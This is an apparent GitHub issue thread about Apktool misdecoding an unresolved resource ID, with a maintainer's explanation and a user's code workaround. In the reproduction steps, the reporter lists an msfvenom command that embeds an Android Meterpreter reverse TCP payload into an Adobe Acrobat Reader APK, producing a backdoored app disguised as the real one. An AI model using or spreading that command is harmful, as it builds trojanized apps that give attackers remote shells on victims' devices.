Open TheBigBossYoyo opened 1 year ago
This might be related to https://github.com/iBotPeaches/Apktool/issues/2514, but I am also learning with my recent investigations that we might need to introduce an unknown type of resource.
What is happening there is we can't find that resource in your example (0x7E040000
) thus its getting serialized as the decimal value (2114191360
) and dropped into the manifest.
So the questions here are.
So what can I do to resolve ?
So what can I do to resolve ?
I'm lost - doesn't my reply answer what we need to research/do in order to resolve? I'm not sure how I can reword that.
Oh ok sorry
When you find a solution feel free to ping me
I have faced the same problem with apktool 2.8.1 on binance apk (https://www.binance.com/en/download), the same way as #3303
From what I have searched, actually the attrs.xml holds an entry for the id, but the name of the attr comes also as an id. I am not sure that its an error on decompilation because investigating with jadx the same happens in attrs.xml.
Back to apktool, in brut.apktool/apktool.lib/src/main/java/brut/androidlib/res/decoder/AXmlResourceParser.java - line 365 it verifies first if we have a non-null resourceMapValue, otherwise goes to stringBlockValue. I bypassed the error by checking if the resourceMaValue starts with a number, to use the stringBlockValue in this case too.
if (resourceMapValue != null && !resourceMapValue.matches("^([0-9])+"))
Information
apktool -version
) -2.7.0java --version
) -java --version openjdk 17.0.6 2023-01-17 OpenJDK Runtime Environment (build 17.0.6+10-Debian-1) OpenJDK 64-Bit Server VM (build 17.0.6+10-Debian-1, mixed mode, sharing)Stacktrace/Logcat
Steps to Reproduce
msfvenom -x Adobe\ Acrobat\ Reader_23.7.0.28525.Beta_apkcombo.com.apk -p android/meterpreter/reverse_tcp LHOST=192.168.1.136 LPORT=4444 -o Adobe-acrobat.apk
Frameworks
If this APK is from an OEM ROM (Samsung, HTC, LG). Please attach framework files (
.apks
that live in/system/framework
or/system/priv-app
)APK
If this APK can be freely shared, please upload/attach a link to it. https://apkcombo.com/fr/adobe-acrobat-reader/com.adobe.reader/download/apk
Questions to ask before submission
apktool d
,apktool b
without changing anything? No